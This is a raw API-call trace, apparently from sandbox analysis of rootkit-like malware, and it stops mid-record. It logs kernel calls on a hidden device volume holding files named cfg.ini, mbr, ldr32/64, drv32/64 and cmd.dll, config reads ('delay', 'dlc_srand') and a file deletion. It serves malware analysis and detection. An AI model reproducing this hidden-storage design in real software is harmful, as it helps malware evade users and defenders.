[0129.172] KeLeaveCriticalRegion () [0129.172] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.172] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.172] KeEnterCriticalRegion () [0129.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.172] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bac000 [0129.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.172] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.172] IdePortDispatch () returned 0x103 [0129.172] KeWaitForMutexObject () returned 0x0 [0129.172] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.172] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.172] IdePortDispatch () returned 0x103 [0129.173] KeWaitForMutexObject () returned 0x0 [0129.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.173] KeLeaveCriticalRegion () [0129.173] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.173] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.173] KeEnterCriticalRegion () [0129.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.173] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.173] KeLeaveCriticalRegion () [0129.173] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.173] KeEnterCriticalRegion () [0129.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.173] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.173] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.173] KeLeaveCriticalRegion () [0129.173] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.173] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.174] KeEnterCriticalRegion () [0129.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.174] ExFreePoolWithTag (P=0xfffffa800c4f7c10, Tag=0x0) [0129.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.174] KeLeaveCriticalRegion () [0129.174] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.174] ReleaseMutex (hMutex=0xf0) returned 1 [0129.174] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.174] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.174] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.174] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.174] KeEnterCriticalRegion () [0129.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.174] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.174] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.174] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.174] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.174] IdePortDispatch () returned 0x103 [0129.174] KeWaitForMutexObject () returned 0x0 [0129.174] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.174] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.174] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.174] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.174] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.174] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.174] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.174] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.174] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.174] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.175] KeLeaveCriticalRegion () [0129.175] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.175] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.175] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.175] KeEnterCriticalRegion () [0129.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.175] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.175] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.175] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.175] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.175] IdePortDispatch () returned 0x103 [0129.175] KeWaitForMutexObject () returned 0x0 [0129.175] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.175] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.175] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.175] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.175] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.175] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.175] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.175] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.175] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.175] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.175] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.175] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.175] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.175] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.175] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.175] KeLeaveCriticalRegion () [0129.176] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.176] ReleaseMutex (hMutex=0x100) returned 1 [0129.176] Sleep (dwMilliseconds=0x2bf20) [0129.183] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x7031f230, dwHighDateTime=0x1d24fa4)) [0129.183] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.183] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.183] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.183] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.183] KeEnterCriticalRegion () [0129.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.183] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.183] IdePortDispatch () returned 0x103 [0129.183] KeWaitForMutexObject () returned 0x0 [0129.183] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.183] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.183] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.184] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.184] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.184] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03dc0 [0129.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.184] KeLeaveCriticalRegion () [0129.184] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.184] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.184] KeEnterCriticalRegion () [0129.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.184] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.184] KeLeaveCriticalRegion () [0129.184] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.184] KeEnterCriticalRegion () [0129.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.184] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.184] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.184] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.184] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.184] IdePortDispatch () returned 0x103 [0129.184] KeWaitForMutexObject () returned 0x0 [0129.184] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.184] KeLeaveCriticalRegion () [0129.184] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.184] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.184] KeEnterCriticalRegion () [0129.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.184] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000baf000 [0129.184] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.184] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.184] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.185] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.185] IdePortDispatch () returned 0x103 [0129.185] KeWaitForMutexObject () returned 0x0 [0129.185] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.185] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.185] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.185] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.185] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.185] IdePortDispatch () returned 0x103 [0129.185] KeWaitForMutexObject () returned 0x0 [0129.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.185] KeLeaveCriticalRegion () [0129.185] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.186] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.186] KeEnterCriticalRegion () [0129.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.186] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.186] KeLeaveCriticalRegion () [0129.186] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.186] KeEnterCriticalRegion () [0129.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.186] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.186] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.186] KeLeaveCriticalRegion () [0129.186] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.186] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.186] KeEnterCriticalRegion () [0129.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.186] ExFreePoolWithTag (P=0xfffffa8003c03dc0, Tag=0x0) [0129.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.186] KeLeaveCriticalRegion () [0129.186] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.186] ReleaseMutex (hMutex=0xf0) returned 1 [0129.186] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.186] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.186] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.186] KeEnterCriticalRegion () [0129.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.186] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.186] IdePortDispatch () returned 0x103 [0129.186] KeWaitForMutexObject () returned 0x0 [0129.187] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.187] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.187] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.187] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.187] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.187] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03a60 [0129.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.187] KeLeaveCriticalRegion () [0129.187] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.187] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.187] KeEnterCriticalRegion () [0129.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.187] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.187] KeLeaveCriticalRegion () [0129.187] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.187] KeEnterCriticalRegion () [0129.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.187] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.187] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.187] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.187] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.187] IdePortDispatch () returned 0x103 [0129.187] KeWaitForMutexObject () returned 0x0 [0129.187] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.187] KeLeaveCriticalRegion () [0129.187] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.187] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.188] KeEnterCriticalRegion () [0129.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.188] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb0000 [0129.188] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.188] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.188] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.188] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.188] IdePortDispatch () returned 0x103 [0129.188] KeWaitForMutexObject () returned 0x0 [0129.188] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.188] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.188] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.188] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.188] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.188] IdePortDispatch () returned 0x103 [0129.188] KeWaitForMutexObject () returned 0x0 [0129.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.188] KeLeaveCriticalRegion () [0129.188] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.189] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.189] KeEnterCriticalRegion () [0129.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.189] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.189] KeLeaveCriticalRegion () [0129.189] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.189] KeEnterCriticalRegion () [0129.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.189] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.189] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.189] KeLeaveCriticalRegion () [0129.189] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.189] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.189] KeEnterCriticalRegion () [0129.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.189] ExFreePoolWithTag (P=0xfffffa8003c03a60, Tag=0x0) [0129.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.189] KeLeaveCriticalRegion () [0129.189] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.189] ReleaseMutex (hMutex=0xf0) returned 1 [0129.189] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.189] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.189] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.189] KeEnterCriticalRegion () [0129.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 